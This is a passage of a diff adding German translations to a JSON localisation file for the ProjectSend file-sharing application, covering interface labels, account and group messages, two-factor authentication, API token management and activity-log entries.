"E-Mail-Benachrichtigungen senden", + "Send test email": "Test-E-Mail senden", + "SendGrid": "SendGrid", + "Sends a real email right now, bypassing the queue, so you can verify the settings above actually work.": "Sendet sofort eine echte E-Mail an der Warteschlange vorbei, damit Sie prüfen können, ob die Einstellungen oben tatsächlich funktionieren.", + "Separate paragraphs with a blank line.": "Trennen Sie Absätze durch eine Leerzeile.", + "Server Error": "Interner Fehler", + "Service Unavailable": "Service nicht verfügbar", + "Session Has Expired": "Sitzung ist abgelaufen", + "Set file expiration dates": "Ablaufdaten für Dateien festlegen", + "Set to 0 for no limit. Available disk space still applies.": "Auf 0 setzen für kein Limit. Der verfügbare Speicherplatz gilt weiterhin.", + "Set to 0 to allow requesting again immediately.": "Auf 0 setzen, um eine sofortige erneute Anfrage zu erlauben.", + "Set up ProjectSend": "ProjectSend einrichten", + "Settings": "Einstellungen", + "Settings that apply to the whole installation": "Einstellungen, die für die gesamte Installation gelten", + "Setup complete": "Einrichtung abgeschlossen", + "Share a file with the people who manage your account.": "Teilen Sie eine Datei mit den Personen, die Ihr Konto betreuen.", + "Share files with several clients at once": "Dateien mit mehreren Kunden auf einmal teilen", + "Shared the folder \":subject\" with :target": "Hat den Ordner \":subject\" mit :target geteilt", + "Shared with": "Geteilt mit", + "Shared with :count": "Geteilt mit :count", + "Sharing": "Teilen", + "Sharing a folder shares everything inside it, now and later": "Wer einen Ordner teilt, teilt seinen gesamten Inhalt — jetzt und künftig", + "Show": "Zeigen", + "Show :name": ":name anzeigen", + "Show All": "Zeige alles", + "Showing": "Zeige", + "Showing matches from across your library": "Treffer aus Ihrer gesamten Bibliothek", + "Showing matches from everything shared with you": "Treffer aus allem, was mit Ihnen geteilt wurde", + "Shown across the application and to your clients.": "Wird in der gesamten Anwendung und für Ihre Kunden angezeigt.", + "Shows a registration form on the login screen.": "Zeigt ein Registrierungsformular auf der Anmeldeseite.", + "Sign In": "Anmelden", + "Sign up": "Registrieren", + "Site name": "Website-Name", + "Size": "Größe", + "Skip the IP address when the downloader is a signed-in account — their identity is already known.": "Die IP-Adresse auslassen, wenn der Download von einem angemeldeten Konto kommt — dessen Identität ist ohnehin bekannt.", + "SMTP configuration": "SMTP-Konfiguration", + "Source code": "Quellcode", + "Special public links": "Besondere öffentliche Links", + "Solve": "Lösen", + "Something went wrong. Please try again.": "Etwas ist schiefgelaufen. Bitte versuchen Sie es erneut.", + "SSL": "SSL", + "SSL Handshake Failed": "SSL Handshake fehlgeschlagen", + "Staff": "Team", + "Start": "Starten", + "Status": "Status", + "Stop": "Stoppen", + "Stopped sharing the folder \":subject\" with :target": "Hat die Freigabe des Ordners \":subject\" für :target beendet", + "Storage": "Speicher", + "Storage free": "Speicher frei", + "Storage quota (MB)": "Speicherkontingent (MB)", + "Storage used": "Speicher belegt", + "Store these recovery codes somewhere safe. Each one can be used once if you lose access to your authenticator app.": "Bewahren Sie diese Wiederherstellungscodes sicher auf. Jeder lässt sich einmal verwenden, falls Sie den Zugriff auf Ihre Authenticator-App verlieren.", + "Subfolders": "Unterordner", + "Subject": "Betreff", + "Submit": "Einreichen", + "Subscribe": "Abonnieren", + "Success: test email sent to :email via :hostport.": "Erfolg: Test-E-Mail an :email über :hostport gesendet.", + "Support the project": "Das Projekt unterstützen", + "Switch": "Wechseln", + "Switch To Role": "Zur Rolle wechseln", + "Switching Protocols": "Protokollwechsel", + "System": "System", + "System Administrator": "Systemadministrator", + "System settings": "Systemeinstellungen", + "System settings were updated": "Systemeinstellungen wurden aktualisiert", + "System users": "Systembenutzer", + "Tag": "Stichwort", + "Tags": "Stichworte", + "Temporary Redirect": "Temporäre Weiterleitung", + "Test": "Test", + "Text": "Text", + "Text or author": "Text oder Autor", + "The account of :name will be permanently deleted. This cannot be undone.": "Das Konto von :name wird endgültig gelöscht. Das lässt sich nicht rückgängig machen.", + "The account password was changed": "Das Kontopasswort wurde geändert", + "The account request of :name will be denied and the account deleted.": "Die Kontoanfrage von :name wird abgelehnt und das Konto gelöscht.", + "The administrator account was created successfully.": "Das Administratorkonto wurde erfolgreich erstellt.", + "The administrator role always has every permission and cannot be edited.": "Die Administratorrolle besitzt immer alle Berechtigungen und kann nicht bearbeitet werden.", + "The base URL segment for public group pages, e.g. :url": "Das Basis-URL-Segment für öffentliche Gruppenseiten, z. B. :url", + "The category \":name\" will be removed from all its files. The files themselves are not deleted.": "Die Kategorie \":name\" wird von allen ihren Dateien entfernt. Die Dateien selbst werden nicht gelöscht.", + "The client's email address": "Die E-Mail-Adresse des Kunden", + "The client's name": "Der Name des Kunden", + "The clients this group shares files with": "Die Kunden, mit denen diese Gruppe Dateien teilt", + "The field \":name\" and all its stored values will be permanently deleted.": "Das Feld \":name\" und alle darin gespeicherten Werte werden endgültig gelöscht.", + "The file \":file\" was uploaded by :client.": "Die Datei \":file\" wurde von :client hochgeladen.", + "The file \":name\" has been shared with you.": "Die Datei \":name\" wurde mit Ihnen geteilt.", + "The file \":name\" will no longer be available to anyone it was shared with.": "Die Datei \":name\" steht niemandem mehr zur Verfügung, mit dem sie geteilt wurde.", + "The file name": "Der Dateiname", + "The file or folder name": "Der Name der Datei oder des Ordners", + "The file will be permanently removed from disk. This cannot be undone.": "Die Datei wird endgültig von der Festplatte entfernt. Das lässt sich nicht rückgängig machen.", + "The files of a public group can be browsed by anyone with the link, without logging in.": "Die Dateien einer öffentlichen Gruppe kann jeder mit dem Link durchsehen, ohne sich anzumelden.", + "The files shared with you": "Die mit Ihnen geteilten Dateien", + "The folder \":name\" and everything inside it will be deleted. This can be undone by an administrator.": "Der Ordner \":name\" und sein gesamter Inhalt werden gelöscht. Ein Administrator kann das rückgängig machen.", + "The following :count items have been shared with you:": "Die folgenden :count Elemente wurden mit Ihnen geteilt:", + "The folder \":name\" has been shared with you.": "Der Ordner \":name\" wurde mit Ihnen geteilt.", + "The given data was invalid.": "Die gegebenen Daten waren ungültig.", + "The group \":name\" will be deleted. Its clients keep their accounts.": "Die Gruppe \":name\" wird gelöscht. Ihre Kunden behalten ihre Konten.", + "The group name": "Der Gruppenname", + "The groups you belong to and the ones you can ask to join": "Die Gruppen, denen Sie angehören, und die, deren Beitritt Sie anfragen können", + "The header/footer style used for every outgoing notification email.": "Der Kopf- und Fußzeilenstil für jede ausgehende Benachrichtigungs-E-Mail.", + "The look of the guest public pages, the client portal, and outgoing notification emails.": "Das Erscheinungsbild der öffentlichen Gästeseiten, des Kundenportals und der ausgehenden Benachrichtigungs-E-Mails.", + "The mail server itself is configured in this installation’s .env file (MAIL_* variables), not here.": "Der Mailserver selbst wird in der .env-Datei dieser Installation konfiguriert (MAIL_*-Variablen), nicht hier.", + "The people who administer this installation and upload files": "Die Personen, die diese Installation verwalten und Dateien hochladen", + "The people you share files with": "Die Personen, mit denen Sie Dateien teilen", + "The provided two-factor authentication code was invalid.": "Der eingegebene Zwei-Faktor-Authentifizierungscode war ungültig.", + "The release this installation is running, and where it comes from.": "Die Version, die diese Installation ausführt, und woher sie stammt.", + "The response is not a streamed response.": "Die Antwort ist keine gestreamte Antwort.", + "The response is not a view.": "Die Antwort ist keine Ansicht.", + "The role \":name\" will be permanently deleted. This cannot be undone.": "Die Rolle \":name\" wird endgültig gelöscht. Das lässt sich nicht rückgängig machen.", + "The selected folders are empty.": "Die ausgewählten Ordner sind leer.", + "The uploading client's name": "Der Name des hochladenden Kunden", + "Their account is waiting for approval.": "Das Konto wartet auf Freigabe.", + "There is nothing to configure yet.": "Es gibt noch nichts zu konfigurieren.", + "Test email from :site": "Test-E-Mail von :site", + "These files will be permanently removed from disk. This cannot be undone.": "Diese Dateien werden endgültig von der Festplatte entfernt. Das lässt sich nicht rückgängig machen.", + "Theme": "Design", + "Theme updated.": "Design aktualisiert.", + "Theming": "Design", + "Theming settings": "Design-Einstellungen", + "This action is unauthorized.": "Diese Aktion ist nicht autorisiert.", + "This file exceeds the maximum allowed size of :max MB.": "Diese Datei überschreitet die maximal zulässige Größe von :max MB.", + "This folder is empty.": "Dieser Ordner ist leer.", + "This installation has no administrator yet. Create the first one to get started.": "Diese Installation hat noch keinen Administrator. Erstellen Sie den ersten, um loszulegen.", + "This is a built-in role; its scope can't be changed.": "Dies ist eine integrierte Rolle; ihr Geltungsbereich lässt sich nicht ändern.", + "This is a preview of the :theme email theme.": "Dies ist eine Vorschau des E-Mail-Designs :theme.", + "This is a sample email — no notification was actually sent.": "Dies ist eine Beispiel-E-Mail — es wurde keine Benachrichtigung tatsächlich versendet.", + "This is a test email from :site.": "Dies ist eine Test-E-Mail von :site.", + "This is the last active administrator account.": "Dies ist das letzte aktive Administratorkonto.", + "This link cannot match the file's own public URL slug.": "Dieser Link darf nicht mit dem eigenen öffentlichen URL-Slug der Datei übereinstimmen.", + "This link doesn't exist or has been revoked.": "Dieser Link existiert nicht oder wurde widerrufen.", + "This link has expired.": "Dieser Link ist abgelaufen.", + "This link has reached its download limit.": "Dieser Link hat sein Download-Limit erreicht.", + "This password reset link will expire in :count minutes.": "Dieser Link zum Zurücksetzen des Passworts läuft in :count Minuten ab.", + "This permanently removes every failed job from the list without retrying any of them. This cannot be undone.": "Damit werden alle fehlgeschlagenen Aufträge dauerhaft aus der Liste entfernt, ohne dass einer davon wiederholt wird. Das lässt sich nicht rückgängig machen.", + "This role is assigned to accounts and cannot be deleted.": "Diese Rolle ist Konten zugewiesen und kann nicht gelöscht werden.", + "This role only sees files and folders belonging to these clients, plus its own uploads.": "Diese Rolle sieht nur Dateien und Ordner dieser Kunden sowie ihre eigenen Uploads.", + "This upload would exceed your storage quota of :quota MB.": "Dieser Upload würde Ihr Speicherkontingent von :quota MB überschreiten.", + "Tip: drag files and folders onto a folder or a breadcrumb to move them.": "Tipp: Ziehen Sie Dateien und Ordner auf einen Ordner oder einen Pfadeintrag, um sie zu verschieben.", + "Title": "Titel", + "Title (optional)": "Titel (optional)", + "TLS": "TLS", + "to": "bis", + "To": "An", + "Toggle navigation": "Navigation umschalten", + "Too Early": "Zu früh", + "Too many files selected. Choose a smaller selection and try again.": "Zu viele Dateien ausgewählt. Wählen Sie weniger aus und versuchen Sie es erneut.", + "Too Many Requests": "Zu viele Anfragen", + "Transactional email settings for this installation": "Einstellungen für Transaktions-E-Mails dieser Installation", + "Transfers — last 30 days": "Übertragungen — letzte 30 Tage", + "Translate": "Übersetzen", + "Translate It": "Übersetze es", + "Turns all transactional email for this installation on or off.": "Schaltet sämtliche Transaktions-E-Mails dieser Installation ein oder aus.", + "Two-factor auth": "Zwei-Faktor-Auth", + "Two-factor authentication": "Zwei-Faktor-Authentifizierung", + "Two-factor authentication is enabled.": "Die Zwei-Faktor-Authentifizierung ist aktiviert.", + "Two-factor authentication was disabled": "Die Zwei-Faktor-Authentifizierung wurde deaktiviert", + "Two-factor authentication was enabled": "Die Zwei-Faktor-Authentifizierung wurde aktiviert", + "Two-factor recovery codes were regenerated": "Die Zwei-Faktor-Wiederherstellungscodes wurden neu erzeugt", + "Type": "Typ", + "Unauthorized": "Nicht autorisiert", + "Unavailable For Legal Reasons": "Aus rechtlichen Gründen nicht verfügbar", + "Unchanged": "Unverändert", + "Unknown Error": "Unbekannter Fehler", + "Unlimited": "Unbegrenzt", + "Unpack": "Auspacken", + "Unprocessable Entity": "Unverarbeitbare Entität", + "Unsubscribe": "Abbestellen", + "Unsupported Media Type": "Nicht unterstützter Medientyp", + "Up": "Hoch", + "Up to :max MB per file. Uploads can be paused and resume automatically after interruptions.": "Bis zu :max MB pro Datei. Uploads können pausiert werden und laufen nach Unterbrechungen automatisch weiter.", + "Update": "Aktualisieren", + "Update :name": ":name aktualisieren", + "Updated the account \":subject\"": "Hat das Konto \":subject\" aktualisiert", + "Updated the file \":subject\"": "Hat die Datei \":subject\" aktualisiert", + "Updated the group \":subject\"": "Hat die Gruppe \":subject\" aktualisiert", + "Updated the role \":subject\"": "Hat die Rolle \":subject\" aktualisiert", + "Updated the system settings (:section)": "Hat die Systemeinstellungen aktualisiert (:section)", + "Updated their profile information": "Hat die Profilinformationen aktualisiert", + "Upgrade Required": "Upgrade erforderlich", + "Upload": "Hochladen", + "Upload a file": "Datei hochladen", + "Upload files": "Dateien hochladen", + "Upload public files": "Öffentliche Dateien hochladen", + "Upload settings": "Upload-Einstellungen", + "Upload to public folders": "In öffentliche Ordner hochladen", + "Uploaded by": "Hochgeladen von", + "Uploaded the file \":subject\"": "Hat die Datei \":subject\" hochgeladen", + "Uploader": "Hochgeladen von", + "Uploads": "Uploads", + "Uploads (chart)": "Uploads (Diagramm)", + "URI Too Long": "URI ist zu lang", + "URL slug": "URL-Slug", + "Use a custom link instead of a random one": "Einen eigenen Link statt eines zufälligen verwenden", + "Use a recovery code": "Wiederherstellungscode verwenden", + "Use an authentication code": "Authentifizierungscode verwenden", + "Use Proxy": "Proxy verwenden", + "Use the navigation to get started.": "Nutzen Sie die Navigation, um loszulegen.", + "Used": "Belegt", + "Used in the public file URL when this file is public.": "Wird in der öffentlichen Datei-URL verwendet, wenn diese Datei öffentlich ist.", + "Used in the public group URL when this group is public.": "Wird in der öffentlichen Gruppen-URL verwendet, wenn diese Gruppe öffentlich ist.", + "User": "Benutzer", + "User created.": "Benutzer erstellt.", + "User deleted.": "Benutzer gelöscht.", + "User updated.": "Benutzer aktualisiert.", + "Users": "Benutzer", + "Username": "Benutzername", + "Variant Also Negotiates": "Variante verhandelt ebenfalls", + "Verify Email Address": "E-Mail-Adresse bestätigen", + "Version": "Version", + "Version :version": "Version :version", + "View": "Ansicht", + "View :name": "Ansicht :name", + "View all": "Alle anzeigen", + "View dashboard counters": "Übersichtszähler ansehen", + "View file": "Datei ansehen", + "View news": "Neuigkeiten ansehen", + "View statistics": "Statistiken ansehen", + "View system information": "Systeminformationen ansehen", + "Visible widgets": "Sichtbare Widgets", + "View the activity log": "Aktivitätsprotokoll ansehen", + "View your files": "Ihre Dateien ansehen", + "Visibility": "Sichtbarkeit", + "Visitors": "Besucher", + "Warning": "Warnung", + "Web Server is Down": "Webserver ist ausgefallen", + "Website": "Website", + "Welcome": "Willkommen", + "Welcome to ProjectSend": "Willkommen bei ProjectSend", + "What each kind of account is allowed to do": "Was jede Kontoart darf", + "When an account is erased, its files and folders": "Wenn ein Konto gelöscht wird, werden dessen Dateien und Ordner", + "When enabled, you will be asked for a secure code from your phone when logging in.": "Wenn aktiviert, werden Sie bei der Anmeldung nach einem sicheren Code von Ihrem Telefon gefragt.", + "When off, self-registered clients wait in the account requests queue until approved.": "Ist dies aus, warten selbst registrierte Kunden in der Warteschlange der Kontoanfragen auf ihre Freigabe.", + "Where outgoing email is actually sent from.": "Von wo ausgehende E-Mails tatsächlich versendet werden.", + "Whoops!": "Ups!", + "Widgets": "Widgets", + "Worth including when you report a problem.": "Sollten Sie angeben, wenn Sie ein Problem melden.", + "Written by": "Verfasst von", + "Yellow": "Gelb", + "Yes": "Ja", + "You are commenting too quickly. Try again in a moment.": "Sie kommentieren zu schnell. Versuchen Sie es gleich noch einmal.", + "You are commenting too quickly. Try again in :seconds seconds.": "Sie kommentieren zu schnell. Versuchen Sie es in :seconds Sekunden erneut.", + "You are not a member of any group yet.": "Sie sind noch in keiner Gruppe Mitglied.", + "You are receiving this email because we received a password reset request for your account.": "Sie erhalten diese E-Mail, weil wir einen Antrag auf eine Zurücksetzung Ihres Passworts bekommen haben.", + "You can only share with the clients assigned to you.": "Sie können nur mit den Ihnen zugewiesenen Kunden teilen.", + "You cannot comment on this file.": "Sie können diese Datei nicht kommentieren.", + "You cannot deactivate your own account.": "Sie können Ihr eigenes Konto nicht deaktivieren.", + "You cannot delete your own account.": "Sie können Ihr eigenes Konto nicht löschen.", + "You have no notifications yet.": "Sie haben noch keine Benachrichtigungen.", + "You will no longer receive files shared with the group \":name\".": "Sie erhalten keine Dateien mehr, die mit der Gruppe \":name\" geteilt werden.", + "Your account details were recently changed by an administrator. Contact your administrator if this was not expected.": "Ihre Kontodaten wurden kürzlich von einem Administrator geändert. Wenden Sie sich an Ihren Administrator, falls Sie das nicht erwartet haben.", + "Your account has been approved": "Ihr Konto wurde genehmigt", + "Your account has been created. You can log in now.": "Ihr Konto wurde erstellt. Sie können sich jetzt anmelden.", + "Your account has been deactivated.": "Ihr Konto wurde deaktiviert.", + "Your account is deactivated immediately. After :days days it is permanently erased, including your identifying details in the activity log — this cannot be undone.": "Ihr Konto wird sofort deaktiviert. Nach :days Tagen wird es endgültig gelöscht, einschließlich Ihrer identifizierenden Daten im Aktivitätsprotokoll — das lässt sich nicht rückgängig machen.", + "Your account request has been approved. You can now log in.": "Ihre Kontoanfrage wurde genehmigt. Sie können sich jetzt anmelden.", + "Your account request has been denied.": "Ihre Kontoanfrage wurde abgelehnt.", + "Your account request has been received. You will be able to log in once it is approved.": "Ihre Kontoanfrage ist eingegangen. Sobald sie genehmigt ist, können Sie sich anmelden.", + "Your account request has not been approved yet.": "Ihre Kontoanfrage wurde noch nicht genehmigt.", + "Your account request was denied": "Ihre Kontoanfrage wurde abgelehnt", + "Your account was updated": "Ihr Konto wurde aktualisiert", + "Your account will be deactivated now and permanently erased after :days days. Enter your password to confirm.": "Ihr Konto wird jetzt deaktiviert und nach :days Tagen endgültig gelöscht. Geben Sie zur Bestätigung Ihr Passwort ein.", + "Your account will no longer require a second code at login, making it less secure.": "Ihr Konto verlangt bei der Anmeldung keinen zweiten Code mehr, was es weniger sicher macht.", + "Your administrator requires two-factor authentication on this account. Set it up below to continue.": "Ihr Administrator verlangt für dieses Konto die Zwei-Faktor-Authentifizierung. Richten Sie sie unten ein, um fortzufahren.", + "Your customized subject and body will be discarded and replaced with the default wording immediately — this cannot be undone.": "Ihr angepasster Betreff und Inhalt werden sofort verworfen und durch den Standardwortlaut ersetzt — das lässt sich nicht rückgängig machen.", + "Your download should start automatically.": "Ihr Download sollte automatisch starten.", + "Your existing recovery codes will stop working immediately.": "Ihre bisherigen Wiederherstellungscodes funktionieren ab sofort nicht mehr.", + "Your group membership request was approved": "Ihre Anfrage auf Gruppenmitgliedschaft wurde genehmigt", + "Your group membership request was denied": "Ihre Anfrage auf Gruppenmitgliedschaft wurde abgelehnt", + "Your groups": "Ihre Gruppen", + "Your previous request to this group was declined. You can request again later.": "Ihre vorherige Anfrage an diese Gruppe wurde abgelehnt. Sie können später erneut anfragen.", + "Your request to join the group \":group\" has been approved.": "Ihre Anfrage zum Beitritt zur Gruppe \":group\" wurde genehmigt.", + "Your request to join the group \":group\" has been denied.": "Ihre Anfrage zum Beitritt zur Gruppe \":group\" wurde abgelehnt.", + "Your request to join the group \":groupName\" has been approved": "Ihre Anfrage zum Beitritt zur Gruppe \":groupName\" wurde genehmigt", + "Your shared file library": "Ihre geteilte Dateibibliothek", + "API tokens": "API-Token", + "Tokens let an external tool act on your behalf through the API, with only the permissions you grant it here.": "Mit Token kann ein externes Werkzeug über die API in Ihrem Namen handeln — nur mit den Berechtigungen, die Sie ihm hier erteilen.", + "Token name": "Token-Name", + "e.g. Zapier": "z. B. Zapier", + "Name it after the tool that will use it, so you know what you are revoking later.": "Benennen Sie es nach dem Werkzeug, das es verwendet, damit Sie später wissen, was Sie widerrufen.", + "A token can never do more than you can. Grant only what the tool needs — if your own permissions change, the token follows.": "Ein Token kann nie mehr als Sie selbst. Erteilen Sie nur, was das Werkzeug braucht — ändern sich Ihre eigenen Berechtigungen, zieht das Token nach.", + "Only permissions the API can currently act on are listed. More appear here as new endpoints are released.": "Aufgeführt sind nur Berechtigungen, auf die die API derzeit reagieren kann. Weitere erscheinen hier, sobald neue Endpunkte veröffentlicht werden.", + "There is nothing you can grant a token yet — none of the API endpoints released so far match your permissions.": "Sie können einem Token noch nichts erteilen — keiner der bisher veröffentlichten API-Endpunkte passt zu Ihren Berechtigungen.", + "Select all": "Alle auswählen", + "Clear all": "Alle abwählen", + "Expires in (days)": "Läuft ab in (Tagen)", + "A token that never expires stays valid until someone revokes it by hand. Prefer a date you can forget about safely.": "Ein Token ohne Ablauf bleibt gültig, bis es jemand von Hand widerruft. Wählen Sie lieber ein Datum, das Sie beruhigt vergessen können.", + "Create token": "Token erstellen", + "Copy your token now": "Kopieren Sie Ihr Token jetzt", + "This is the only time it will be shown. We store only a hash, so it cannot be recovered later.": "Dies ist das einzige Mal, dass es angezeigt wird. Wir speichern nur einen Hash, es lässt sich später nicht wiederherstellen.", + "Copy to clipboard": "In die Zwischenablage kopieren", + "Copied": "Kopiert", + "Your tokens": "Ihre Token", + "Revoking a token takes effect immediately.": "Der Widerruf eines Tokens wirkt sofort.", + "You have not created any tokens yet.": "Sie haben noch keine Token erstellt.", + "Expired": "Abgelaufen", + "Never used": "Nie verwendet", + "Last used :date": "Zuletzt verwendet am :date", + "Revoke this token?": "Dieses Token widerrufen?", + "Any tool using it will stop working immediately. This cannot be undone.": "Jedes Werkzeug, das es verwendet, funktioniert ab sofort nicht mehr. Das lässt sich nicht rückgängig machen.", + "This file type is not allowed for upload.": "Dieser Dateityp ist zum Hochladen nicht zugelassen.", + "View the client list": "Kundenliste ansehen", + "View the group list": "Gruppenliste ansehen", + "Origin": "Herkunft", + "All origins": "Alle Herkünfte", + "Web UI": "Weboberfläche", + "API": "API", + ":origin · :token": ":origin · :token", + "Edit token": "Token bearbeiten", + "Save token": "Token speichern", + "The token is shown once, immediately after it is created, and never again.": "Das Token wird einmal direkt nach der Erstellung angezeigt und danach nie wieder.", + "The token itself does not change. Anything already using it keeps working with whatever you set here.": "Das Token selbst ändert sich nicht. Alles, was es bereits verwendet, arbeitet mit dem weiter, was Sie hier festlegen.", + "Changing permissions takes effect immediately": "Änderungen an Berechtigungen wirken sofort", + "The existing token keeps its value, so whatever holds it gains or loses these permissions right away. Revoke and create a new one instead if you want a fresh secret.": "Das vorhandene Token behält seinen Wert, wer es besitzt, erhält oder verliert diese Berechtigungen also sofort. Widerrufen Sie es und erstellen Sie ein neues, wenn Sie ein frisches Geheimnis möchten.", + "Some permissions no longer apply": "Einige Berechtigungen gelten nicht mehr", + "This token still carries permissions that do nothing today, and saving will drop them: :abilities": "Dieses Token trägt noch Berechtigungen, die heute wirkungslos sind; beim Speichern werden sie entfernt: :abilities", + "Token updated.": "Token aktualisiert.", + "How external tools can act on this installation on your behalf.": "Wie externe Werkzeuge in Ihrem Namen auf dieser Installation handeln können.", + "OpenAPI specification": "OpenAPI-Spezifikation", + "Endpoints": "Endpunkte", + "Method": "Methode", + "Tokens": "Token", + "Your tokens and what they have been doing.": "Ihre Token und was sie getan haben.", + "Every token on this installation and what it has been doing.": "Jedes Token dieser Installation und was es getan hat.", + "Show all tokens": "Alle Token anzeigen", + "Show only mine": "Nur meine anzeigen", + "Manage tokens": "Token verwalten", + "Requests (7 days)": "Anfragen (7 Tage)", + "Failed (7 days)": "Fehlgeschlagen (7 Tage)", + "Median response": "Mittlere Antwortzeit", + "No requests yet": "Noch keine Anfragen", + ":count expired": ":count abgelaufen", + "Requests": "Anfragen", + "Succeeded": "Erfolgreich", + "Failed": "Fehlgeschlagen", + "Request history is kept for :days days.": "Der Anfrageverlauf wird :days Tage lang aufbewahrt.", + "Request history is kept indefinitely.": "Der Anfrageverlauf wird unbegrenzt aufbewahrt.", + "No tokens yet.": "Noch keine Token.", + "Owner": "Besitzer", + "Last used": "Zuletzt verwendet", + "History": "Verlauf", + "Busiest endpoints": "Meistgenutzte Endpunkte", + "No requests in the last 7 days.": "Keine Anfragen in den letzten 7 Tagen.", + "Recent changes made through the API": "Letzte Änderungen über die API", + "Full history": "Vollständiger Verlauf", + "Nothing has been changed through the API yet.": "Über die API wurde noch nichts geändert.", + "API usage": "API-Nutzung", + "Open the API dashboard": "API-Übersicht öffnen", + "You have no API tokens. Create one to let an external tool act on your behalf.": "Sie haben keine API-Token. Erstellen Sie eines, damit ein externes Werkzeug in Ihrem Namen handeln kann.", + "API request history (days)": "API-Anfrageverlauf (Tage)", + "How long the API dashboard keeps a record of each request. This is usage history, not the activity log — the activity log is an audit trail and is never pruned. Set to 0 to keep it indefinitely.": "Wie lange die API-Übersicht jede Anfrage protokolliert. Das ist der Nutzungsverlauf, nicht das Aktivitätsprotokoll — dieses ist ein Prüfpfad und wird nie bereinigt. Auf 0 setzen, um ihn unbegrenzt aufzubewahren.", + "A category was created": "Eine Kategorie wurde erstellt", + "A category was deleted": "Eine Kategorie wurde gelöscht", + "A category was renamed": "Eine Kategorie wurde umbenannt", + "A comment was approved": "Ein Kommentar wurde freigegeben", + "A comment was deleted": "Ein Kommentar wurde gelöscht", + "A comment was edited": "Ein Kommentar wurde bearbeitet", + "A comment was posted on a file": "Ein Kommentar wurde zu einer Datei verfasst", + "A custom asset was created": "Ein eigenes Asset wurde erstellt", + "A custom asset was deleted": "Ein eigenes Asset wurde gelöscht", + "A custom asset was disabled": "Ein eigenes Asset wurde deaktiviert", + "A custom asset was enabled": "Ein eigenes Asset wurde aktiviert", + "A custom asset was updated": "Ein eigenes Asset wurde aktualisiert", + "A custom field was created": "Ein benutzerdefiniertes Feld wurde erstellt", + "A custom field was deleted": "Ein benutzerdefiniertes Feld wurde gelöscht", + "A custom field was updated": "Ein benutzerdefiniertes Feld wurde aktualisiert", + "A deleted account's files and folders were deleted": "Dateien und Ordner eines gelöschten Kontos wurden gelöscht", + "A deleted account's files and folders were reassigned": "Dateien und Ordner eines gelöschten Kontos wurden neu zugewiesen", + "A file was made private": "Eine Datei wurde auf privat gesetzt", + "A file was made public": "Eine Datei wurde öffentlich gemacht", + "A file was previewed": "Eine Datei wurde in der Vorschau geöffnet", + "A folder was made private": "Ein Ordner wurde auf privat gesetzt", + "A folder was made public": "Ein Ordner wurde öffentlich gemacht", + "A group was made private": "Eine Gruppe wurde auf privat gesetzt", + "A group was made public": "Eine Gruppe wurde öffentlich gemacht", + "An API token was created": "Ein API-Token wurde erstellt", + "An API token was revoked": "Ein API-Token wurde widerrufen", + "An API token was updated": "Ein API-Token wurde aktualisiert", + "An expired file was automatically deleted after its retention grace period passed": "Eine abgelaufene Datei wurde nach Ablauf ihrer Aufbewahrungsfrist automatisch gelöscht", + "An orphan file was automatically deleted after its retention grace period passed": "Eine verwaiste Datei wurde nach Ablauf ihrer Aufbewahrungsfrist automatisch gelöscht", + "An upload was cancelled": "Ein Upload wurde abgebrochen", + "Approved a comment on the file \":subject\"": "Hat einen Kommentar zur Datei \":subject\" freigegeben", + "Cancelled uploading the file \":name\"": "Hat das Hochladen der Datei \":name\" abgebrochen", + "Commented on the file \":subject\"": "Hat die Datei \":subject\" kommentiert", + "Created the API token \":token_name\"": "Hat das API-Token \":token_name\" erstellt", + "Created the category \":subject\"": "Hat die Kategorie \":subject\" erstellt", + "Created the custom asset \":subject\"": "Hat das eigene Asset \":subject\" erstellt", + "Created the custom field \":name\"": "Hat das benutzerdefinierte Feld \":name\" erstellt", + "Deleted :files file(s) and :folders folder(s) belonging to the deleted account \":name\"": "Hat :files Datei(en) und :folders Ordner des gelöschten Kontos \":name\" gelöscht", + "Deleted a comment on the file \":subject\"": "Hat einen Kommentar zur Datei \":subject\" gelöscht", + "Deleted the category \":name\"": "Hat die Kategorie \":name\" gelöscht", + "Deleted the custom asset \":name\"": "Hat das eigene Asset \":name\" gelöscht", + "Deleted the custom field \":name\"": "Hat das benutzerdefinierte Feld \":name\" gelöscht", + "Deleted the expired file \":name\"": "Hat die abgelaufene Datei \":name\" gelöscht", + "Disabled the custom asset \":subject\"": "Hat das eigene Asset \":subject\" deaktiviert", + "Edited a comment on the file \":subject\"": "Hat einen Kommentar zur Datei \":subject\" bearbeitet", + "Enabled the custom asset \":subject\"": "Hat das eigene Asset \":subject\" aktiviert", + "Made the file \":subject\" private": "Hat die Datei \":subject\" auf privat gesetzt", + "Made the file \":subject\" public": "Hat die Datei \":subject\" öffentlich gemacht", + "Made the folder \":subject\" private": "Hat den Ordner \":subject\" auf privat gesetzt", + "Made the folder \":subject\" public": "Hat den Ordner \":subject\" öffentlich gemacht", + "Made the group \":subject\" private": "Hat die Gruppe \":subject\" auf privat gesetzt", + "Made the group \":subject\" public": "Hat die Gruppe \":subject\" öffentlich gemacht", + "Previewed the file \":subject\"": "Hat die Datei \":subject\" in der Vorschau geöffnet", + "Reassigned :files file(s) and :folders folder(s) from the deleted account \":name\" to :target": "Hat :files Datei(en) und :folders Ordner vom gelöschten Konto \":name\" an :target neu zugewiesen", + "Renamed the category to \":subject\"": "Hat die Kategorie in \":subject\" umbenannt", + "Revoked the API token \":token_name\"": "Hat das API-Token \":token_name\" widerrufen", + "Updated the API token \":token_name\"": "Hat das API-Token \":token_name\" aktualisiert", + "Updated the custom asset \":subject\"": "Hat das eigene Asset \":subject\" aktualisiert", + "Updated the custom field \":name\"": "Hat das benutzerdefinierte Feld \":name\" aktualisiert", + "Manage client custom fields": "Benutzerdefinierte Kundenfelder verwalten", + "Moderate comments": "Kommentare moderieren", + "Only me": "Nur ich", + "Visible to anyone who can open this file, including visitors who are not logged in.": "Sichtbar für alle, die diese Datei öffnen können, auch für nicht angemeldete Besucher.", + "Anyone, including visitors who are not logged in": "Alle, auch nicht angemeldete Besucher", + "Staff and clients": "Team und Kunden", + "Staff only": "Nur Team", + "No files — commenting is off": "Keine Dateien — Kommentare sind aus", + "Only files marked as commentable": "Nur Dateien, die für Kommentare freigegeben sind", + "Public files only": "Nur öffentliche Dateien", + "Shared files only": "Nur geteilte Dateien", + "(blank = inheriting the site default)": "(leer = übernimmt den Standard der Website)", + "(blank = unlimited, no site default is set)": "(leer = unbegrenzt, es ist kein Standard für die Website gesetzt)", + "(deleted file)": "(gelöschte Datei)", + ":authorName commented on \":fileName\"": ":authorName hat \":fileName\" kommentiert", + ":authorName commented on \":fileName\" and is waiting for approval": ":authorName hat \":fileName\" kommentiert und wartet auf Freigabe", + ":count comments": ":count 